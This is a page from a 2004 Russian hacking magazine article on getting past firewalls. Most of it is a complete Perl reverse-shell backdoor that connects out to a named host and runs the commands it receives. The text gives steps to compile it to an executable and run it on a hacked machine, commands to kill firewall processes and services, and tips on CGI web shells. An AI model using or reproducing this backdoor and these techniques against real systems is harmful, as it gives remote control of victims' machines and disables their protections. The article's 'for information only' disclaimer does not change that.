Издательский дом ООО "Гейм Лэнд"СПЕЦВЫПУСК ЖУРНАЛА ХАКЕР #48, НОЯБРЬ 2004 г.

Сквозь огненную стену

Докучаев Дмитрий aka Forb

Спецвыпуск: Хакер, номер #048, стр. 048-040-3


#!/usr/bin/perl

use IO::Socket; # Юзаем модуль IO::Socket

$host=”xakep.box.ru”; # Хост, с которым бэкдор будет соединяться

$port=3344; # Удаленный порт

$time=20; # Время выжидания до осуществления соединения

$|++; # Вырубим буферизацию

unless(fork) { # Уйдем в бэграунд

sleep($time); # Засыпаем на n-секунд

$sock=IO::Socket::INET-> new("$host:$port") || die; # Соединимся или тихо умрем

$true=1;

while($true) { # Пока сокет активен, ждем команд от хакера

$buf=$sock-> recv($cmd,128);

chomp($cmd);

if ($buf) {

$ready=`$cmd` || print $sock "$!\n"; # Если пришла команда, выполним ее либо обработаем ошибку

$sock-> send("$ready"); # Вернем вывод от выполненной команды

} else {

$true=0; # Если сокет закрылся, объявим его мертвым

}

}

close($sock); # И корректно закроем дескриптор

}

Для настройки клиента нужно указать корректный хост и порт, а также вырубить собственный фаервол (иначе сценарий не приконнектится к удаленной машине).

Теперь сервер. Его задача – открыть порт и ждать подключений, а затем интерактивно обрабатывать все необходимые хакерские команды. Что касается кода, то он очень похож на клиентскую часть, поэтому, надеюсь, с ним вопросом возникнуть не должно. Потребуется установить корректный порт, который совпадает с числом, записанным в client.pl.

Осталось откомпилировать клиент. Скачиваем конвертер perl2exe с www.indigostar.com/download/p2x-8.00-Win32.zip и передаем ему client.pl в качестве параметра. Если все в порядке, мы получим полноценное приложение, которое легко запустится на любой платформе. Посли заливки клиента на взломанную машину и запуска можно наслаждаться результатом.

План С: смотри планы A и B

Это основные способы обхода глупых фаерволов, применяемые среди хакеров-форточников. Помни, что если найти баг на WWW и успешно его проэксплуатировать, то обойти брандмауэр не составит большого труда. Исходники connback-проекта лежат на http://kamensk.net.ru/forb/1/x/connback-bd.zip. Но помни, что этот материал написан только в целях ознакомления, а всю ответственность за возможные произведенные взломы несешь ты и только ты.

Жестокое убийство

Если взломщик обладает привилегиями администратора и имеет право выполнять команды, ничто не мешает ему убить фаервол. Когда пакеты фильтрует персональный фаервол, его процесс вертится в специальной таблице. Убить службу можно с помощью команды tskill имя_фаервола, предварительно узнав имя либо идентификатор утилитой tasklist (только для WinXP).

Бывает, что фаервол загружен как сервис. В этом случае найди нужную службу, пропарсив вывод «net start», а затем прибей сервис запросом «net stop найденное_имя».

Если интерпретатор Perl отсутствует на удаленном сервере, можно использовать Perl2exe,

Если создать в каталоге /cgi-bin сценарий с расширением bat, он без проблем выполнится при обращении к нему с WWW.

Команда tskill perl корректно завершит работу клиента на удаленной стороне.

Важно не забыть изменить пароль, заданный по умолчанию, в исходниках cgi-telnet.

Назад на стр. 048-040-2  Содержание